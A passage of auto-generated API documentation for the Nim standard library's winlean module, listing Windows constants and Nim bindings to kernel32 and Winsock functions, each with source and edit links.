[Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L867) ``` AF_INET = 2 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L868) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L868) ``` AF_INET6 = 23 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L869) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L869) ``` WT_EXECUTEDEFAULT = 0x00000000'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L1001) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L1001) ``` WT_EXECUTEINIOTHREAD = 0x00000001'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L1002) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L1002) ``` WT_EXECUTEINUITHREAD = 0x00000002'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L1003) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L1003) ``` WT_EXECUTEINWAITTHREAD = 0x00000004'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L1004) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L1004) ``` WT_EXECUTEONLYONCE = 0x00000008'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L1005) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L1005) ``` WT_EXECUTELONGFUNCTION = 0x00000010'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L1006) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L1006) ``` WT_EXECUTEINTIMERTHREAD = 0x00000020'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L1007) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L1007) ``` WT_EXECUTEINPERSISTENTIOTHREAD = 0x00000040'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L1008) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L1008) ``` WT_EXECUTEINPERSISTENTTHREAD = 0x00000080'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L1009) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L1009) ``` WT_TRANSFER_IMPERSONATION = 0x00000100'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L1010) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L1010) ``` PROCESS_TERMINATE = 0x00000001'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L1011) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L1011) ``` PROCESS_CREATE_THREAD = 0x00000002'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L1012) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L1012) ``` PROCESS_SET_SESSIONID = 0x00000004'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L1013) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L1013) ``` PROCESS_VM_OPERATION = 0x00000008'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L1014) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L1014) ``` PROCESS_VM_READ = 0x00000010'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L1015) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L1015) ``` PROCESS_VM_WRITE = 0x00000020'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L1016) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L1016) ``` PROCESS_DUP_HANDLE = 0x00000040'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L1017) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L1017) ``` PROCESS_CREATE_PROCESS = 0x00000080'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L1018) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L1018) ``` PROCESS_SET_QUOTA = 0x00000100'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L1019) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L1019) ``` PROCESS_SET_INFORMATION = 0x00000200'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L1020) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L1020) ``` PROCESS_QUERY_INFORMATION = 0x00000400'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L1021) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L1021) ``` PROCESS_SUSPEND_RESUME = 0x00000800'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L1022) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L1022) ``` PROCESS_QUERY_LIMITED_INFORMATION = 0x00001000'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L1023) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L1023) ``` PROCESS_SET_LIMITED_INFORMATION = 0x00002000'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L1024) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L1024) ``` FD_READ = 0x00000001'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L1063) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L1063) ``` FD_WRITE = 0x00000002'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L1064) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L1064) ``` FD_OOB = 0x00000004'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L1065) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L1065) ``` FD_ACCEPT = 0x00000008'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L1066) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L1066) ``` FD_CONNECT = 0x00000010'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L1067) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L1067) ``` FD_CLOSE = 0x00000020'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L1068) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L1068) ``` FD_QQS = 0x00000040'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L1069) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L1069) ``` FD_GROUP_QQS = 0x00000080'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L1070) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L1070) ``` FD_ROUTING_INTERFACE_CHANGE = 0x00000100'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L1071) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L1071) ``` FD_ADDRESS_LIST_CHANGE = 0x00000200'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L1072) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L1072) ``` FD_ALL_EVENTS = 0x000003FF'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L1073) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L1073) ``` FIBER_FLAG_FLOAT_SWITCH = 0x00000001 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L1111) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L1111) Procs ----- ``` proc getVersionExW(lpVersionInfo: ptr OSVERSIONINFO): WINBOOL {...}{.stdcall, dynlib: "kernel32", importc: "GetVersionExW", sideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L139) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L139) ``` proc getVersionExA(lpVersionInfo: ptr OSVERSIONINFO): WINBOOL {...}{.stdcall, dynlib: "kernel32", importc: "GetVersionExA", sideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L141) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L141) ``` proc getVersion(): DWORD {...}{.stdcall, dynlib: "kernel32", importc: "GetVersion", sideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L144) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L144) ``` proc closeHandle(hObject: Handle): WINBOOL {...}{.stdcall, dynlib: "kernel32", importc: "CloseHandle".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L146) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L146) ``` proc readFile(hFile: Handle; buffer: pointer; nNumberOfBytesToRead: int32; lpNumberOfBytesRead: ptr int32; lpOverlapped: pointer): WINBOOL {...}{. stdcall, dynlib: "kernel32", importc: "ReadFile", sideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L149) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L149) ``` proc writeFile(hFile: Handle; buffer: pointer; nNumberOfBytesToWrite: int32; lpNumberOfBytesWritten: ptr int32; lpOverlapped: pointer): WINBOOL {...}{. stdcall, dynlib: "kernel32", importc: "WriteFile", sideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L153) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L153) ``` proc createPipe(hReadPipe, hWritePipe: var Handle; lpPipeAttributes: var SECURITY_ATTRIBUTES; nSize: int32): WINBOOL {...}{. stdcall, dynlib: "kernel32", importc: "CreatePipe", sideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L158) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L158) ``` proc createNamedPipe(lpName: WideCString; dwOpenMode, dwPipeMode, nMaxInstances, nOutBufferSize, nInBufferSize, nDefaultTimeOut: int32; lpSecurityAttributes: ptr SECURITY_ATTRIBUTES): Handle {...}{. stdcall, dynlib: "kernel32", importc: "CreateNamedPipeW", sideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L163) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L163) ``` proc peekNamedPipe(hNamedPipe: Handle; lpBuffer: pointer = nil; nBufferSize: int32 = 0; lpBytesRead: ptr int32 = nil; lpTotalBytesAvail: ptr int32 = nil; lpBytesLeftThisMessage: ptr int32 = nil): bool {...}{.stdcall, dynlib: "kernel32", importc: "PeekNamedPipe".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L169) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L169) ``` proc createProcessW(lpApplicationName, lpCommandLine: WideCString; lpProcessAttributes: ptr SECURITY_ATTRIBUTES; lpThreadAttributes: ptr SECURITY_ATTRIBUTES; bInheritHandles: WINBOOL; dwCreationFlags: int32; lpEnvironment, lpCurrentDirectory: WideCString; lpStartupInfo: var STARTUPINFO; lpProcessInformation: var PROCESS_INFORMATION): WINBOOL {...}{. stdcall, dynlib: "kernel32", importc: "CreateProcessW", sideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L177) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L177) ``` proc suspendThread(hThread: Handle): int32 {...}{.stdcall, dynlib: "kernel32", importc: "SuspendThread", sideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L197) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L197) ``` proc resumeThread(hThread: Handle): int32 {...}{.stdcall, dynlib: "kernel32", importc: "ResumeThread", sideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L199) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L199) ``` proc waitForSingleObject(hHandle: Handle; dwMilliseconds: int32): int32 {...}{. stdcall, dynlib: "kernel32", importc: "WaitForSingleObject", sideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L202) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L202) ``` proc terminateProcess(hProcess: Handle; uExitCode: int): WINBOOL {...}{.stdcall, dynlib: "kernel32", importc: "TerminateProcess", sideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L205) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L205) ``` proc getExitCodeProcess(hProcess: Handle; lpExitCode: var int32): WINBOOL {...}{. stdcall, dynlib: "kernel32", importc: "GetExitCodeProcess".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L208) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L208) ``` proc getStdHandle(nStdHandle: int32): Handle {...}{.stdcall, dynlib: "kernel32", importc: "GetStdHandle".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L211) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L211) ``` proc setStdHandle(nStdHandle: int32; hHandle: Handle): WINBOOL {...}{.stdcall, dynlib: "kernel32", importc: "SetStdHandle", sideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L213) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L213) ``` proc flushFileBuffers(hFile: Handle): WINBOOL {...}{.stdcall, dynlib: "kernel32", importc: "FlushFileBuffers", sideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L215) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L215) ``` proc getLastError(): int32 {...}{.importc: "GetLastError", stdcall, dynlib: "kernel32", sideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L218) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L218) ``` proc setLastError(error: int32) {...}{.importc: "SetLastError", stdcall, dynlib: "kernel32", sideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L221) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L221) ``` proc formatMessageW(dwFlags: int32; lpSource: pointer; dwMessageId, dwLanguageId: int32; lpBuffer: pointer; nSize: int32; arguments: pointer): int32 {...}{. importc: "FormatMessageW", stdcall, dynlib: "kernel32".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L225) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L225) ``` proc localFree(p: pointer) {...}{.importc: "LocalFree", stdcall, dynlib: "kernel32".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L237) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L237) ``` proc getCurrentDirectoryW(nBufferLength: int32; lpBuffer: WideCString): int32 {...}{. importc: "GetCurrentDirectoryW", dynlib: "kernel32", stdcall, sideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L241) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L241) ``` proc setCurrentDirectoryW(lpPathName: WideCString): int32 {...}{. importc: "SetCurrentDirectoryW", dynlib: "kernel32", stdcall, sideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L244) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L244) ``` proc createDirectoryW(pathName: WideCString; security: pointer = nil): int32 {...}{. importc: "CreateDirectoryW", dynlib: "kernel32", stdcall, sideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L246) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L246) ``` proc removeDirectoryW(lpPathName: WideCString): int32 {...}{. importc: "RemoveDirectoryW", dynlib: "kernel32", stdcall, sideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L248) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L248) ``` proc setEnvironmentVariableW(lpName, lpValue: WideCString): int32 {...}{.stdcall, dynlib: "kernel32", importc: "SetEnvironmentVariableW", sideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L250) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L250) ``` proc getModuleFileNameW(handle: Handle; buf: WideCString; size: int32): int32 {...}{. importc: "GetModuleFileNameW", dynlib: "kernel32", stdcall.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L253) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L253) ``` proc createSymbolicLinkW(lpSymlinkFileName, lpTargetFileName: WideCString; flags: DWORD): int32 {...}{.importc: "CreateSymbolicLinkW", dynlib: "kernel32", stdcall, sideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L272) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L272) ``` proc createHardLinkW(lpFileName, lpExistingFileName: WideCString; security: pointer = nil): int32 {...}{. importc: "CreateHardLinkW", dynlib: "kernel32", stdcall, sideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L275) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L275) ``` proc findFirstFileW(lpFileName: WideCString; lpFindFileData: var WIN32_FIND_DATA): Handle {...}{. stdcall, dynlib: "kernel32", importc: "FindFirstFileW", sideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L336) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L336) ``` proc findNextFileW(hFindFile: Handle; lpFindFileData: var WIN32_FIND_DATA): int32 {...}{. stdcall, dynlib: "kernel32", importc: "FindNextFileW", sideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L339) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L339) ``` proc findClose(hFindFile: Handle) {...}{.stdcall, dynlib: "kernel32", importc: "FindClose".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L350) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L350) ``` proc getFullPathNameW(lpFileName: WideCString; nBufferLength: int32; lpBuffer: WideCString; lpFilePart: var WideCString): int32 {...}{. stdcall, dynlib: "kernel32", importc: "GetFullPathNameW", sideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L354) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L354) ``` proc getFileAttributesW(lpFileName: WideCString): int32 {...}{.stdcall, dynlib: "kernel32", importc: "GetFileAttributesW", sideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L359) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L359) ``` proc setFileAttributesW(lpFileName: WideCString; dwFileAttributes: int32): WINBOOL {...}{. stdcall, dynlib: "kernel32", importc: "SetFileAttributesW", sideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L362) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L362) ``` proc copyFileW(lpExistingFileName, lpNewFileName: WideCString; bFailIfExists: WINBOOL): WINBOOL {...}{.importc: "CopyFileW", stdcall, dynlib: "kernel32", sideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L366) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L366) ``` proc moveFileW(lpExistingFileName, lpNewFileName: WideCString): WINBOOL {...}{. importc: "MoveFileW", stdcall, dynlib: "kernel32", sideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L370) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L370) ``` proc moveFileExW(lpExistingFileName, lpNewFileName: WideCString; flags: DWORD): WINBOOL {...}{. importc: "MoveFileExW", stdcall, dynlib: "kernel32", sideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L372) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L372) ``` proc getEnvironmentStringsW(): WideCString {...}{.stdcall, dynlib: "kernel32", importc: "GetEnvironmentStringsW", sideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L376) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L376) ``` proc freeEnvironmentStringsW(para1: WideCString): int32 {...}{.stdcall, dynlib: "kernel32", importc: "FreeEnvironmentStringsW", sideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L378) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L378) ``` proc getCommandLineW(): WideCString {...}{.importc: "GetCommandLineW", stdcall, dynlib: "kernel32", sideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L381) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L381) ``` proc rdFileTime(f: FILETIME): int64 {...}{.raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L414) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L414) ``` proc rdFileSize(f: WIN32_FIND_DATA): int64 {...}{.raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L417) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L417) ``` proc getSystemTimeAsFileTime(lpSystemTimeAsFileTime: var FILETIME) {...}{. importc: "GetSystemTimeAsFileTime", dynlib: "kernel32", stdcall, sideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L420) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L420) ``` proc sleep(dwMilliseconds: int32) {...}{.stdcall, dynlib: "kernel32", importc: "Sleep", sideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L423) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L423) ``` proc shellExecuteW(hwnd: Handle; lpOperation, lpFile, lpParameters, lpDirectory: WideCString; nShowCmd: int32): Handle {...}{.stdcall, dynlib: "shell32.dll", importc: "ShellExecuteW", sideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L427) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L427) ``` proc getFileInformationByHandle(hFile: Handle; lpFileInformation: ptr BY_HANDLE_FILE_INFORMATION): WINBOOL {...}{. stdcall, dynlib: "kernel32", importc: "GetFileInformationByHandle", sideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L438) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L438) ``` proc wsaGetLastError(): cint {...}{.importc: "WSAGetLastError", dynlib: ws2dll, sideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L455) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L455) ``` proc `==`(x, y: SocketHandle): bool {...}{.borrow.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L565) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L565) ``` proc getservbyname(name, proto: cstring): ptr Servent {...}{.stdcall, importc: "getservbyname", dynlib: ws2dll, sideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L567) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L567) ``` proc getservbyport(port: cint; proto: cstring): ptr Servent {...}{.stdcall, importc: "getservbyport", dynlib: ws2dll, sideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L570) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L570) ``` proc gethostbyaddr(ip: ptr InAddr; len: cuint; theType: cint): ptr Hostent {...}{. stdcall, importc: "gethostbyaddr", dynlib: ws2dll, sideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L573) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L573) ``` proc gethostbyname(name: cstring): ptr Hostent {...}{.stdcall, importc: "gethostbyname", dynlib: ws2dll, sideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L576) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L576) ``` proc gethostname(hostname: cstring; len: cint): cint {...}{.stdcall, importc: "gethostname", dynlib: ws2dll, sideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L579) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L579) ``` proc getprotobyname(name: cstring): ptr Protoent {...}{.stdcall, importc: "getprotobyname", dynlib: ws2dll, sideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L582) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L582) ``` proc getprotobynumber(proto: cint): ptr Protoent {...}{.stdcall, importc: "getprotobynumber", dynlib: ws2dll, sideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L586) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L586) ``` proc socket(af, typ, protocol: cint): SocketHandle {...}{.stdcall, importc: "socket", dynlib: ws2dll.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L590) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L590) ``` proc closesocket(s: SocketHandle): cint {...}{.stdcall, importc: "closesocket", dynlib: ws2dll.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L593) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L593) ``` proc accept(s: SocketHandle; a: ptr SockAddr; addrlen: ptr SockLen): SocketHandle {...}{. stdcall, importc: "accept", dynlib: ws2dll.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L596) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L596) ``` proc bindSocket(s: SocketHandle; name: ptr SockAddr; namelen: SockLen): cint {...}{. stdcall, importc: "bind", dynlib: ws2dll.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L598) 